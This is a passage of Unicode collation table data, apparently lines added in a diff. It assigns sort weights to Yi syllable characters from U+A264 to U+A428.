+A264  ; [.4023.0020.0002] # YI SYLLABLE NGUOT
+A265  ; [.4024.0020.0002] # YI SYLLABLE NGUOX
+A266  ; [.4025.0020.0002] # YI SYLLABLE NGUO
+A267  ; [.4026.0020.0002] # YI SYLLABLE NGOT
+A268  ; [.4027.0020.0002] # YI SYLLABLE NGOX
+A269  ; [.4028.0020.0002] # YI SYLLABLE NGO
+A26A  ; [.4029.0020.0002] # YI SYLLABLE NGOP
+A26B  ; [.402A.0020.0002] # YI SYLLABLE NGEX
+A26C  ; [.402B.0020.0002] # YI SYLLABLE NGE
+A26D  ; [.402C.0020.0002] # YI SYLLABLE NGEP
+A26E  ; [.402D.0020.0002] # YI SYLLABLE HIT
+A26F  ; [.402E.0020.0002] # YI SYLLABLE HIEX
+A270  ; [.402F.0020.0002] # YI SYLLABLE HIE
+A271  ; [.4030.0020.0002] # YI SYLLABLE HAT
+A272  ; [.4031.0020.0002] # YI SYLLABLE HAX
+A273  ; [.4032.0020.0002] # YI SYLLABLE HA
+A274  ; [.4033.0020.0002] # YI SYLLABLE HAP
+A275  ; [.4034.0020.0002] # YI SYLLABLE HUOT
+A276  ; [.4035.0020.0002] # YI SYLLABLE HUOX
+A277  ; [.4036.0020.0002] # YI SYLLABLE HUO
+A278  ; [.4037.0020.0002] # YI SYLLABLE HUOP
+A279  ; [.4038.0020.0002] # YI SYLLABLE HOT
+A27A  ; [.4039.0020.0002] # YI SYLLABLE HOX
+A27B  ; [.403A.0020.0002] # YI SYLLABLE HO
+A27C  ; [.403B.0020.0002] # YI SYLLABLE HOP
+A27D  ; [.403C.0020.0002] # YI SYLLABLE HEX
+A27E  ; [.403D.0020.0002] # YI SYLLABLE HE
+A27F  ; [.403E.0020.0002] # YI SYLLABLE HEP
+A280  ; [.403F.0020.0002] # YI SYLLABLE WAT
+A281  ; [.4040.0020.0002] # YI SYLLABLE WAX
+A282  ; [.4041.0020.0002] # YI SYLLABLE WA
+A283  ; [.4042.0020.0002] # YI SYLLABLE WAP
+A284  ; [.4043.0020.0002] # YI SYLLABLE WUOX
+A285  ; [.4044.0020.0002] # YI SYLLABLE WUO
+A286  ; [.4045.0020.0002] # YI SYLLABLE WUOP
+A287  ; [.4046.0020.0002] # YI SYLLABLE WOX
+A288  ; [.4047.0020.0002] # YI SYLLABLE WO
+A289  ; [.4048.0020.0002] # YI SYLLABLE WOP
+A28A  ; [.4049.0020.0002] # YI SYLLABLE WEX
+A28B  ; [.404A.0020.0002] # YI SYLLABLE WE
+A28C  ; [.404B.0020.0002] # YI SYLLABLE WEP
+A28D  ; [.404C.0020.0002] # YI SYLLABLE ZIT
+A28E  ; [.404D.0020.0002] # YI SYLLABLE ZIX
+A28F  ; [.404E.0020.0002] # YI SYLLABLE ZI
+A290  ; [.404F.0020.0002] # YI SYLLABLE ZIP
+A291  ; [.4050.0020.0002] # YI SYLLABLE ZIEX
+A292  ; [.4051.0020.0002] # YI SYLLABLE ZIE
+A293  ; [.4052.0020.0002] # YI SYLLABLE ZIEP
+A294  ; [.4053.0020.0002] # YI SYLLABLE ZAT
+A295  ; [.4054.0020.0002] # YI SYLLABLE ZAX
+A296  ; [.4055.0020.0002] # YI SYLLABLE ZA
+A297  ; [.4056.0020.0002] # YI SYLLABLE ZAP
+A298  ; [.4057.0020.0002] # YI SYLLABLE ZUOX
+A299  ; [.4058.0020.0002] # YI SYLLABLE ZUO
+A29A  ; [.4059.0020.0002] # YI SYLLABLE ZUOP
+A29B  ; [.405A.0020.0002] # YI SYLLABLE ZOT
+A29C  ; [.405B.0020.0002] # YI SYLLABLE ZOX
+A29D  ; [.405C.0020.0002] # YI SYLLABLE ZO
+A29E  ; [.405D.0020.0002] # YI SYLLABLE ZOP
+A29F  ; [.405E.0020.0002] # YI SYLLABLE ZEX
+A2A0  ; [.405F.0020.0002] # YI SYLLABLE ZE
+A2A1  ; [.4060.0020.0002] # YI SYLLABLE ZEP
+A2A2  ; [.4061.0020.0002] # YI SYLLABLE ZUT
+A2A3  ; [.4062.0020.0002] # YI SYLLABLE ZUX
+A2A4  ; [.4063.0020.0002] # YI SYLLABLE ZU
+A2A5  ; [.4064.0020.0002] # YI SYLLABLE ZUP
+A2A6  ; [.4065.0020.0002] # YI SYLLABLE ZURX
+A2A7  ; [.4066.0020.0002] # YI SYLLABLE ZUR
+A2A8  ; [.4067.0020.0002] # YI SYLLABLE ZYT
+A2A9  ; [.4068.0020.0002] # YI SYLLABLE ZYX
+A2AA  ; [.4069.0020.0002] # YI SYLLABLE ZY
+A2AB  ; [.406A.0020.0002] # YI SYLLABLE ZYP
+A2AC  ; [.406B.0020.0002] # YI SYLLABLE ZYRX
+A2AD  ; [.406C.0020.0002] # YI SYLLABLE ZYR
+A2AE  ; [.406D.0020.0002] # YI SYLLABLE CIT
+A2AF  ; [.406E.0020.0002] # YI SYLLABLE CIX
+A2B0  ; [.406F.0020.0002] # YI SYLLABLE CI
+A2B1  ; [.4070.0020.0002] # YI SYLLABLE CIP
+A2B2  ; [.4071.0020.0002] # YI SYLLABLE CIET
+A2B3  ; [.4072.0020.0002] # YI SYLLABLE CIEX
+A2B4  ; [.4073.0020.0002] # YI SYLLABLE CIE
+A2B5  ; [.4074.0020.0002] # YI SYLLABLE CIEP
+A2B6  ; [.4075.0020.0002] # YI SYLLABLE CAT
+A2B7  ; [.4076.0020.0002] # YI SYLLABLE CAX
+A2B8  ; [.4077.0020.0002] # YI SYLLABLE CA
+A2B9  ; [.4078.0020.0002] # YI SYLLABLE CAP
+A2BA  ; [.4079.0020.0002] # YI SYLLABLE CUOX
+A2BB  ; [.407A.0020.0002] # YI SYLLABLE CUO
+A2BC  ; [.407B.0020.0002] # YI SYLLABLE CUOP
+A2BD  ; [.407C.0020.0002] # YI SYLLABLE COT
+A2BE  ; [.407D.0020.0002] # YI SYLLABLE COX
+A2BF  ; [.407E.0020.0002] # YI SYLLABLE CO
+A2C0  ; [.407F.0020.0002] # YI SYLLABLE COP
+A2C1  ; [.4080.0020.0002] # YI SYLLABLE CEX
+A2C2  ; [.4081.0020.0002] # YI SYLLABLE CE
+A2C3  ; [.4082.0020.0002] # YI SYLLABLE CEP
+A2C4  ; [.4083.0020.0002] # YI SYLLABLE CUT
+A2C5  ; [.4084.0020.0002] # YI SYLLABLE CUX
+A2C6  ; [.4085.0020.0002] # YI SYLLABLE CU
+A2C7  ; [.4086.0020.0002] # YI SYLLABLE CUP
+A2C8  ; [.4087.0020.0002] # YI SYLLABLE CURX
+A2C9  ; [.4088.0020.0002] # YI SYLLABLE CUR
+A2CA  ; [.4089.0020.0002] # YI SYLLABLE CYT
+A2CB  ; [.408A.0020.0002] # YI SYLLABLE CYX
+A2CC  ; [.408B.0020.0002] # YI SYLLABLE CY
+A2CD  ; [.408C.0020.0002] # YI SYLLABLE CYP
+A2CE  ; [.408D.0020.0002] # YI SYLLABLE CYRX
+A2CF  ; [.408E.0020.0002] # YI SYLLABLE CYR
+A2D0  ; [.408F.0020.0002] # YI SYLLABLE ZZIT
+A2D1  ; [.4090.0020.0002] # YI SYLLABLE ZZIX
+A2D2  ; [.4091.0020.0002] # YI SYLLABLE ZZI
+A2D3  ; [.4092.0020.0002] # YI SYLLABLE ZZIP
+A2D4  ; [.4093.0020.0002] # YI SYLLABLE ZZIET
+A2D5  ; [.4094.0020.0002] # YI SYLLABLE ZZIEX
+A2D6  ; [.4095.0020.0002] # YI SYLLABLE ZZIE
+A2D7  ; [.4096.0020.0002] # YI SYLLABLE ZZIEP
+A2D8  ; [.4097.0020.0002] # YI SYLLABLE ZZAT
+A2D9  ; [.4098.0020.0002] # YI SYLLABLE ZZAX
+A2DA  ; [.4099.0020.0002] # YI SYLLABLE ZZA
+A2DB  ; [.409A.0020.0002] # YI SYLLABLE ZZAP
+A2DC  ; [.409B.0020.0002] # YI SYLLABLE ZZOX
+A2DD  ; [.409C.0020.0002] # YI SYLLABLE ZZO
+A2DE  ; [.409D.0020.0002] # YI SYLLABLE ZZOP
+A2DF  ; [.409E.0020.0002] # YI SYLLABLE ZZEX
+A2E0  ; [.409F.0020.0002] # YI SYLLABLE ZZE
+A2E1  ; [.40A0.0020.0002] # YI SYLLABLE ZZEP
+A2E2  ; [.40A1.0020.0002] # YI SYLLABLE ZZUX
+A2E3  ; [.40A2.0020.0002] # YI SYLLABLE ZZU
+A2E4  ; [.40A3.0020.0002] # YI SYLLABLE ZZUP
+A2E5  ; [.40A4.0020.0002] # YI SYLLABLE ZZURX
+A2E6  ; [.40A5.0020.0002] # YI SYLLABLE ZZUR
+A2E7  ; [.40A6.0020.0002] # YI SYLLABLE ZZYT
+A2E8  ; [.40A7.0020.0002] # YI SYLLABLE ZZYX
+A2E9  ; [.40A8.0020.0002] # YI SYLLABLE ZZY
+A2EA  ; [.40A9.0020.0002] # YI SYLLABLE ZZYP
+A2EB  ; [.40AA.0020.0002] # YI SYLLABLE ZZYRX
+A2EC  ; [.40AB.0020.0002] # YI SYLLABLE ZZYR
+A2ED  ; [.40AC.0020.0002] # YI SYLLABLE NZIT
+A2EE  ; [.40AD.0020.0002] # YI SYLLABLE NZIX
+A2EF  ; [.40AE.0020.0002] # YI SYLLABLE NZI
+A2F0  ; [.40AF.0020.0002] # YI SYLLABLE NZIP
+A2F1  ; [.40B0.0020.0002] # YI SYLLABLE NZIEX
+A2F2  ; [.40B1.0020.0002] # YI SYLLABLE NZIE
+A2F3  ; [.40B2.0020.0002] # YI SYLLABLE NZIEP
+A2F4  ; [.40B3.0020.0002] # YI SYLLABLE NZAT
+A2F5  ; [.40B4.0020.0002] # YI SYLLABLE NZAX
+A2F6  ; [.40B5.0020.0002] # YI SYLLABLE NZA
+A2F7  ; [.40B6.0020.0002] # YI SYLLABLE NZAP
+A2F8  ; [.40B7.0020.0002] # YI SYLLABLE NZUOX
+A2F9  ; [.40B8.0020.0002] # YI SYLLABLE NZUO
+A2FA  ; [.40B9.0020.0002] # YI SYLLABLE NZOX
+A2FB  ; [.40BA.0020.0002] # YI SYLLABLE NZOP
+A2FC  ; [.40BB.0020.0002] # YI SYLLABLE NZEX
+A2FD  ; [.40BC.0020.0002] # YI SYLLABLE NZE
+A2FE  ; [.40BD.0020.0002] # YI SYLLABLE NZUX
+A2FF  ; [.40BE.0020.0002] # YI SYLLABLE NZU
+A300  ; [.40BF.0020.0002] # YI SYLLABLE NZUP
+A301  ; [.40C0.0020.0002] # YI SYLLABLE NZURX
+A302  ; [.40C1.0020.0002] # YI SYLLABLE NZUR
+A303  ; [.40C2.0020.0002] # YI SYLLABLE NZYT
+A304  ; [.40C3.0020.0002] # YI SYLLABLE NZYX
+A305  ; [.40C4.0020.0002] # YI SYLLABLE NZY
+A306  ; [.40C5.0020.0002] # YI SYLLABLE NZYP
+A307  ; [.40C6.0020.0002] # YI SYLLABLE NZYRX
+A308  ; [.40C7.0020.0002] # YI SYLLABLE NZYR
+A309  ; [.40C8.0020.0002] # YI SYLLABLE SIT
+A30A  ; [.40C9.0020.0002] # YI SYLLABLE SIX
+A30B  ; [.40CA.0020.0002] # YI SYLLABLE SI
+A30C  ; [.40CB.0020.0002] # YI SYLLABLE SIP
+A30D  ; [.40CC.0020.0002] # YI SYLLABLE SIEX
+A30E  ; [.40CD.0020.0002] # YI SYLLABLE SIE
+A30F  ; [.40CE.0020.0002] # YI SYLLABLE SIEP
+A310  ; [.40CF.0020.0002] # YI SYLLABLE SAT
+A311  ; [.40D0.0020.0002] # YI SYLLABLE SAX
+A312  ; [.40D1.0020.0002] # YI SYLLABLE SA
+A313  ; [.40D2.0020.0002] # YI SYLLABLE SAP
+A314  ; [.40D3.0020.0002] # YI SYLLABLE SUOX
+A315  ; [.40D4.0020.0002] # YI SYLLABLE SUO
+A316  ; [.40D5.0020.0002] # YI SYLLABLE SUOP
+A317  ; [.40D6.0020.0002] # YI SYLLABLE SOT
+A318  ; [.40D7.0020.0002] # YI SYLLABLE SOX
+A319  ; [.40D8.0020.0002] # YI SYLLABLE SO
+A31A  ; [.40D9.0020.0002] # YI SYLLABLE SOP
+A31B  ; [.40DA.0020.0002] # YI SYLLABLE SEX
+A31C  ; [.40DB.0020.0002] # YI SYLLABLE SE
+A31D  ; [.40DC.0020.0002] # YI SYLLABLE SEP
+A31E  ; [.40DD.0020.0002] # YI SYLLABLE SUT
+A31F  ; [.40DE.0020.0002] # YI SYLLABLE SUX
+A320  ; [.40DF.0020.0002] # YI SYLLABLE SU
+A321  ; [.40E0.0020.0002] # YI SYLLABLE SUP
+A322  ; [.40E1.0020.0002] # YI SYLLABLE SURX
+A323  ; [.40E2.0020.0002] # YI SYLLABLE SUR
+A324  ; [.40E3.0020.0002] # YI SYLLABLE SYT
+A325  ; [.40E4.0020.0002] # YI SYLLABLE SYX
+A326  ; [.40E5.0020.0002] # YI SYLLABLE SY
+A327  ; [.40E6.0020.0002] # YI SYLLABLE SYP
+A328  ; [.40E7.0020.0002] # YI SYLLABLE SYRX
+A329  ; [.40E8.0020.0002] # YI SYLLABLE SYR
+A32A  ; [.40E9.0020.0002] # YI SYLLABLE SSIT
+A32B  ; [.40EA.0020.0002] # YI SYLLABLE SSIX
+A32C  ; [.40EB.0020.0002] # YI SYLLABLE SSI
+A32D  ; [.40EC.0020.0002] # YI SYLLABLE SSIP
+A32E  ; [.40ED.0020.0002] # YI SYLLABLE SSIEX
+A32F  ; [.40EE.0020.0002] # YI SYLLABLE SSIE
+A330  ; [.40EF.0020.0002] # YI SYLLABLE SSIEP
+A331  ; [.40F0.0020.0002] # YI SYLLABLE SSAT
+A332  ; [.40F1.0020.0002] # YI SYLLABLE SSAX
+A333  ; [.40F2.0020.0002] # YI SYLLABLE SSA
+A334  ; [.40F3.0020.0002] # YI SYLLABLE SSAP
+A335  ; [.40F4.0020.0002] # YI SYLLABLE SSOT
+A336  ; [.40F5.0020.0002] # YI SYLLABLE SSOX
+A337  ; [.40F6.0020.0002] # YI SYLLABLE SSO
+A338  ; [.40F7.0020.0002] # YI SYLLABLE SSOP
+A339  ; [.40F8.0020.0002] # YI SYLLABLE SSEX
+A33A  ; [.40F9.0020.0002] # YI SYLLABLE SSE
+A33B  ; [.40FA.0020.0002] # YI SYLLABLE SSEP
+A33C  ; [.40FB.0020.0002] # YI SYLLABLE SSUT
+A33D  ; [.40FC.0020.0002] # YI SYLLABLE SSUX
+A33E  ; [.40FD.0020.0002] # YI SYLLABLE SSU
+A33F  ; [.40FE.0020.0002] # YI SYLLABLE SSUP
+A340  ; [.40FF.0020.0002] # YI SYLLABLE SSYT
+A341  ; [.4100.0020.0002] # YI SYLLABLE SSYX
+A342  ; [.4101.0020.0002] # YI SYLLABLE SSY
+A343  ; [.4102.0020.0002] # YI SYLLABLE SSYP
+A344  ; [.4103.0020.0002] # YI SYLLABLE SSYRX
+A345  ; [.4104.0020.0002] # YI SYLLABLE SSYR
+A346  ; [.4105.0020.0002] # YI SYLLABLE ZHAT
+A347  ; [.4106.0020.0002] # YI SYLLABLE ZHAX
+A348  ; [.4107.0020.0002] # YI SYLLABLE ZHA
+A349  ; [.4108.0020.0002] # YI SYLLABLE ZHAP
+A34A  ; [.4109.0020.0002] # YI SYLLABLE ZHUOX
+A34B  ; [.410A.0020.0002] # YI SYLLABLE ZHUO
+A34C  ; [.410B.0020.0002] # YI SYLLABLE ZHUOP
+A34D  ; [.410C.0020.0002] # YI SYLLABLE ZHOT
+A34E  ; [.410D.0020.0002] # YI SYLLABLE ZHOX
+A34F  ; [.410E.0020.0002] # YI SYLLABLE ZHO
+A350  ; [.410F.0020.0002] # YI SYLLABLE ZHOP
+A351  ; [.4110.0020.0002] # YI SYLLABLE ZHET
+A352  ; [.4111.0020.0002] # YI SYLLABLE ZHEX
+A353  ; [.4112.0020.0002] # YI SYLLABLE ZHE
+A354  ; [.4113.0020.0002] # YI SYLLABLE ZHEP
+A355  ; [.4114.0020.0002] # YI SYLLABLE ZHUT
+A356  ; [.4115.0020.0002] # YI SYLLABLE ZHUX
+A357  ; [.4116.0020.0002] # YI SYLLABLE ZHU
+A358  ; [.4117.0020.0002] # YI SYLLABLE ZHUP
+A359  ; [.4118.0020.0002] # YI SYLLABLE ZHURX
+A35A  ; [.4119.0020.0002] # YI SYLLABLE ZHUR
+A35B  ; [.411A.0020.0002] # YI SYLLABLE ZHYT
+A35C  ; [.411B.0020.0002] # YI SYLLABLE ZHYX
+A35D  ; [.411C.0020.0002] # YI SYLLABLE ZHY
+A35E  ; [.411D.0020.0002] # YI SYLLABLE ZHYP
+A35F  ; [.411E.0020.0002] # YI SYLLABLE ZHYRX
+A360  ; [.411F.0020.0002] # YI SYLLABLE ZHYR
+A361  ; [.4120.0020.0002] # YI SYLLABLE CHAT
+A362  ; [.4121.0020.0002] # YI SYLLABLE CHAX
+A363  ; [.4122.0020.0002] # YI SYLLABLE CHA
+A364  ; [.4123.0020.0002] # YI SYLLABLE CHAP
+A365  ; [.4124.0020.0002] # YI SYLLABLE CHUOT
+A366  ; [.4125.0020.0002] # YI SYLLABLE CHUOX
+A367  ; [.4126.0020.0002] # YI SYLLABLE CHUO
+A368  ; [.4127.0020.0002] # YI SYLLABLE CHUOP
+A369  ; [.4128.0020.0002] # YI SYLLABLE CHOT
+A36A  ; [.4129.0020.0002] # YI SYLLABLE CHOX
+A36B  ; [.412A.0020.0002] # YI SYLLABLE CHO
+A36C  ; [.412B.0020.0002] # YI SYLLABLE CHOP
+A36D  ; [.412C.0020.0002] # YI SYLLABLE CHET
+A36E  ; [.412D.0020.0002] # YI SYLLABLE CHEX
+A36F  ; [.412E.0020.0002] # YI SYLLABLE CHE
+A370  ; [.412F.0020.0002] # YI SYLLABLE CHEP
+A371  ; [.4130.0020.0002] # YI SYLLABLE CHUX
+A372  ; [.4131.0020.0002] # YI SYLLABLE CHU
+A373  ; [.4132.0020.0002] # YI SYLLABLE CHUP
+A374  ; [.4133.0020.0002] # YI SYLLABLE CHURX
+A375  ; [.4134.0020.0002] # YI SYLLABLE CHUR
+A376  ; [.4135.0020.0002] # YI SYLLABLE CHYT
+A377  ; [.4136.0020.0002] # YI SYLLABLE CHYX
+A378  ; [.4137.0020.0002] # YI SYLLABLE CHY
+A379  ; [.4138.0020.0002] # YI SYLLABLE CHYP
+A37A  ; [.4139.0020.0002] # YI SYLLABLE CHYRX
+A37B  ; [.413A.0020.0002] # YI SYLLABLE CHYR
+A37C  ; [.413B.0020.0002] # YI SYLLABLE RRAX
+A37D  ; [.413C.0020.0002] # YI SYLLABLE RRA
+A37E  ; [.413D.0020.0002] # YI SYLLABLE RRUOX
+A37F  ; [.413E.0020.0002] # YI SYLLABLE RRUO
+A380  ; [.413F.0020.0002] # YI SYLLABLE RROT
+A381  ; [.4140.0020.0002] # YI SYLLABLE RROX
+A382  ; [.4141.0020.0002] # YI SYLLABLE RRO
+A383  ; [.4142.0020.0002] # YI SYLLABLE RROP
+A384  ; [.4143.0020.0002] # YI SYLLABLE RRET
+A385  ; [.4144.0020.0002] # YI SYLLABLE RREX
+A386  ; [.4145.0020.0002] # YI SYLLABLE RRE
+A387  ; [.4146.0020.0002] # YI SYLLABLE RREP
+A388  ; [.4147.0020.0002] # YI SYLLABLE RRUT
+A389  ; [.4148.0020.0002] # YI SYLLABLE RRUX
+A38A  ; [.4149.0020.0002] # YI SYLLABLE RRU
+A38B  ; [.414A.0020.0002] # YI SYLLABLE RRUP
+A38C  ; [.414B.0020.0002] # YI SYLLABLE RRURX
+A38D  ; [.414C.0020.0002] # YI SYLLABLE RRUR
+A38E  ; [.414D.0020.0002] # YI SYLLABLE RRYT
+A38F  ; [.414E.0020.0002] # YI SYLLABLE RRYX
+A390  ; [.414F.0020.0002] # YI SYLLABLE RRY
+A391  ; [.4150.0020.0002] # YI SYLLABLE RRYP
+A392  ; [.4151.0020.0002] # YI SYLLABLE RRYRX
+A393  ; [.4152.0020.0002] # YI SYLLABLE RRYR
+A394  ; [.4153.0020.0002] # YI SYLLABLE NRAT
+A395  ; [.4154.0020.0002] # YI SYLLABLE NRAX
+A396  ; [.4155.0020.0002] # YI SYLLABLE NRA
+A397  ; [.4156.0020.0002] # YI SYLLABLE NRAP
+A398  ; [.4157.0020.0002] # YI SYLLABLE NROX
+A399  ; [.4158.0020.0002] # YI SYLLABLE NRO
+A39A  ; [.4159.0020.0002] # YI SYLLABLE NROP
+A39B  ; [.415A.0020.0002] # YI SYLLABLE NRET
+A39C  ; [.415B.0020.0002] # YI SYLLABLE NREX
+A39D  ; [.415C.0020.0002] # YI SYLLABLE NRE
+A39E  ; [.415D.0020.0002] # YI SYLLABLE NREP
+A39F  ; [.415E.0020.0002] # YI SYLLABLE NRUT
+A3A0  ; [.415F.0020.0002] # YI SYLLABLE NRUX
+A3A1  ; [.4160.0020.0002] # YI SYLLABLE NRU
+A3A2  ; [.4161.0020.0002] # YI SYLLABLE NRUP
+A3A3  ; [.4162.0020.0002] # YI SYLLABLE NRURX
+A3A4  ; [.4163.0020.0002] # YI SYLLABLE NRUR
+A3A5  ; [.4164.0020.0002] # YI SYLLABLE NRYT
+A3A6  ; [.4165.0020.0002] # YI SYLLABLE NRYX
+A3A7  ; [.4166.0020.0002] # YI SYLLABLE NRY
+A3A8  ; [.4167.0020.0002] # YI SYLLABLE NRYP
+A3A9  ; [.4168.0020.0002] # YI SYLLABLE NRYRX
+A3AA  ; [.4169.0020.0002] # YI SYLLABLE NRYR
+A3AB  ; [.416A.0020.0002] # YI SYLLABLE SHAT
+A3AC  ; [.416B.0020.0002] # YI SYLLABLE SHAX
+A3AD  ; [.416C.0020.0002] # YI SYLLABLE SHA
+A3AE  ; [.416D.0020.0002] # YI SYLLABLE SHAP
+A3AF  ; [.416E.0020.0002] # YI SYLLABLE SHUOX
+A3B0  ; [.416F.0020.0002] # YI SYLLABLE SHUO
+A3B1  ; [.4170.0020.0002] # YI SYLLABLE SHUOP
+A3B2  ; [.4171.0020.0002] # YI SYLLABLE SHOT
+A3B3  ; [.4172.0020.0002] # YI SYLLABLE SHOX
+A3B4  ; [.4173.0020.0002] # YI SYLLABLE SHO
+A3B5  ; [.4174.0020.0002] # YI SYLLABLE SHOP
+A3B6  ; [.4175.0020.0002] # YI SYLLABLE SHET
+A3B7  ; [.4176.0020.0002] # YI SYLLABLE SHEX
+A3B8  ; [.4177.0020.0002] # YI SYLLABLE SHE
+A3B9  ; [.4178.0020.0002] # YI SYLLABLE SHEP
+A3BA  ; [.4179.0020.0002] # YI SYLLABLE SHUT
+A3BB  ; [.417A.0020.0002] # YI SYLLABLE SHUX
+A3BC  ; [.417B.0020.0002] # YI SYLLABLE SHU
+A3BD  ; [.417C.0020.0002] # YI SYLLABLE SHUP
+A3BE  ; [.417D.0020.0002] # YI SYLLABLE SHURX
+A3BF  ; [.417E.0020.0002] # YI SYLLABLE SHUR
+A3C0  ; [.417F.0020.0002] # YI SYLLABLE SHYT
+A3C1  ; [.4180.0020.0002] # YI SYLLABLE SHYX
+A3C2  ; [.4181.0020.0002] # YI SYLLABLE SHY
+A3C3  ; [.4182.0020.0002] # YI SYLLABLE SHYP
+A3C4  ; [.4183.0020.0002] # YI SYLLABLE SHYRX
+A3C5  ; [.4184.0020.0002] # YI SYLLABLE SHYR
+A3C6  ; [.4185.0020.0002] # YI SYLLABLE RAT
+A3C7  ; [.4186.0020.0002] # YI SYLLABLE RAX
+A3C8  ; [.4187.0020.0002] # YI SYLLABLE RA
+A3C9  ; [.4188.0020.0002] # YI SYLLABLE RAP
+A3CA  ; [.4189.0020.0002] # YI SYLLABLE RUOX
+A3CB  ; [.418A.0020.0002] # YI SYLLABLE RUO
+A3CC  ; [.418B.0020.0002] # YI SYLLABLE RUOP
+A3CD  ; [.418C.0020.0002] # YI SYLLABLE ROT
+A3CE  ; [.418D.0020.0002] # YI SYLLABLE ROX
+A3CF  ; [.418E.0020.0002] # YI SYLLABLE RO
+A3D0  ; [.418F.0020.0002] # YI SYLLABLE ROP
+A3D1  ; [.4190.0020.0002] # YI SYLLABLE REX
+A3D2  ; [.4191.0020.0002] # YI SYLLABLE RE
+A3D3  ; [.4192.0020.0002] # YI SYLLABLE REP
+A3D4  ; [.4193.0020.0002] # YI SYLLABLE RUT
+A3D5  ; [.4194.0020.0002] # YI SYLLABLE RUX
+A3D6  ; [.4195.0020.0002] # YI SYLLABLE RU
+A3D7  ; [.4196.0020.0002] # YI SYLLABLE RUP
+A3D8  ; [.4197.0020.0002] # YI SYLLABLE RURX
+A3D9  ; [.4198.0020.0002] # YI SYLLABLE RUR
+A3DA  ; [.4199.0020.0002] # YI SYLLABLE RYT
+A3DB  ; [.419A.0020.0002] # YI SYLLABLE RYX
+A3DC  ; [.419B.0020.0002] # YI SYLLABLE RY
+A3DD  ; [.419C.0020.0002] # YI SYLLABLE RYP
+A3DE  ; [.419D.0020.0002] # YI SYLLABLE RYRX
+A3DF  ; [.419E.0020.0002] # YI SYLLABLE RYR
+A3E0  ; [.419F.0020.0002] # YI SYLLABLE JIT
+A3E1  ; [.41A0.0020.0002] # YI SYLLABLE JIX
+A3E2  ; [.41A1.0020.0002] # YI SYLLABLE JI
+A3E3  ; [.41A2.0020.0002] # YI SYLLABLE JIP
+A3E4  ; [.41A3.0020.0002] # YI SYLLABLE JIET
+A3E5  ; [.41A4.0020.0002] # YI SYLLABLE JIEX
+A3E6  ; [.41A5.0020.0002] # YI SYLLABLE JIE
+A3E7  ; [.41A6.0020.0002] # YI SYLLABLE JIEP
+A3E8  ; [.41A7.0020.0002] # YI SYLLABLE JUOT
+A3E9  ; [.41A8.0020.0002] # YI SYLLABLE JUOX
+A3EA  ; [.41A9.0020.0002] # YI SYLLABLE JUO
+A3EB  ; [.41AA.0020.0002] # YI SYLLABLE JUOP
+A3EC  ; [.41AB.0020.0002] # YI SYLLABLE JOT
+A3ED  ; [.41AC.0020.0002] # YI SYLLABLE JOX
+A3EE  ; [.41AD.0020.0002] # YI SYLLABLE JO
+A3EF  ; [.41AE.0020.0002] # YI SYLLABLE JOP
+A3F0  ; [.41AF.0020.0002] # YI SYLLABLE JUT
+A3F1  ; [.41B0.0020.0002] # YI SYLLABLE JUX
+A3F2  ; [.41B1.0020.0002] # YI SYLLABLE JU
+A3F3  ; [.41B2.0020.0002] # YI SYLLABLE JUP
+A3F4  ; [.41B3.0020.0002] # YI SYLLABLE JURX
+A3F5  ; [.41B4.0020.0002] # YI SYLLABLE JUR
+A3F6  ; [.41B5.0020.0002] # YI SYLLABLE JYT
+A3F7  ; [.41B6.0020.0002] # YI SYLLABLE JYX
+A3F8  ; [.41B7.0020.0002] # YI SYLLABLE JY
+A3F9  ; [.41B8.0020.0002] # YI SYLLABLE JYP
+A3FA  ; [.41B9.0020.0002] # YI SYLLABLE JYRX
+A3FB  ; [.41BA.0020.0002] # YI SYLLABLE JYR
+A3FC  ; [.41BB.0020.0002] # YI SYLLABLE QIT
+A3FD  ; [.41BC.0020.0002] # YI SYLLABLE QIX
+A3FE  ; [.41BD.0020.0002] # YI SYLLABLE QI
+A3FF  ; [.41BE.0020.0002] # YI SYLLABLE QIP
+A400  ; [.41BF.0020.0002] # YI SYLLABLE QIET
+A401  ; [.41C0.0020.0002] # YI SYLLABLE QIEX
+A402  ; [.41C1.0020.0002] # YI SYLLABLE QIE
+A403  ; [.41C2.0020.0002] # YI SYLLABLE QIEP
+A404  ; [.41C3.0020.0002] # YI SYLLABLE QUOT
+A405  ; [.41C4.0020.0002] # YI SYLLABLE QUOX
+A406  ; [.41C5.0020.0002] # YI SYLLABLE QUO
+A407  ; [.41C6.0020.0002] # YI SYLLABLE QUOP
+A408  ; [.41C7.0020.0002] # YI SYLLABLE QOT
+A409  ; [.41C8.0020.0002] # YI SYLLABLE QOX
+A40A  ; [.41C9.0020.0002] # YI SYLLABLE QO
+A40B  ; [.41CA.0020.0002] # YI SYLLABLE QOP
+A40C  ; [.41CB.0020.0002] # YI SYLLABLE QUT
+A40D  ; [.41CC.0020.0002] # YI SYLLABLE QUX
+A40E  ; [.41CD.0020.0002] # YI SYLLABLE QU
+A40F  ; [.41CE.0020.0002] # YI SYLLABLE QUP
+A410  ; [.41CF.0020.0002] # YI SYLLABLE QURX
+A411  ; [.41D0.0020.0002] # YI SYLLABLE QUR
+A412  ; [.41D1.0020.0002] # YI SYLLABLE QYT
+A413  ; [.41D2.0020.0002] # YI SYLLABLE QYX
+A414  ; [.41D3.0020.0002] # YI SYLLABLE QY
+A415  ; [.41D4.0020.0002] # YI SYLLABLE QYP
+A416  ; [.41D5.0020.0002] # YI SYLLABLE QYRX
+A417  ; [.41D6.0020.0002] # YI SYLLABLE QYR
+A418  ; [.41D7.0020.0002] # YI SYLLABLE JJIT
+A419  ; [.41D8.0020.0002] # YI SYLLABLE JJIX
+A41A  ; [.41D9.0020.0002] # YI SYLLABLE JJI
+A41B  ; [.41DA.0020.0002] # YI SYLLABLE JJIP
+A41C  ; [.41DB.0020.0002] # YI SYLLABLE JJIET
+A41D  ; [.41DC.0020.0002] # YI SYLLABLE JJIEX
+A41E  ; [.41DD.0020.0002] # YI SYLLABLE JJIE
+A41F  ; [.41DE.0020.0002] # YI SYLLABLE JJIEP
+A420  ; [.41DF.0020.0002] # YI SYLLABLE JJUOX
+A421  ; [.41E0.0020.0002] # YI SYLLABLE JJUO
+A422  ; [.41E1.0020.0002] # YI SYLLABLE JJUOP
+A423  ; [.41E2.0020.0002] # YI SYLLABLE JJOT
+A424  ; [.41E3.0020.0002] # YI SYLLABLE JJOX
+A425  ; [.41E4.0020.0002] # YI SYLLABLE JJO
+A426  ; [.41E5.0020.0002] # YI SYLLABLE JJOP
+A427  ; [.41E6.0020.0002] # YI SYLLABLE JJUT
+A428  ; [.41E7.0020.0002] # YI SYLLABLE JJUX
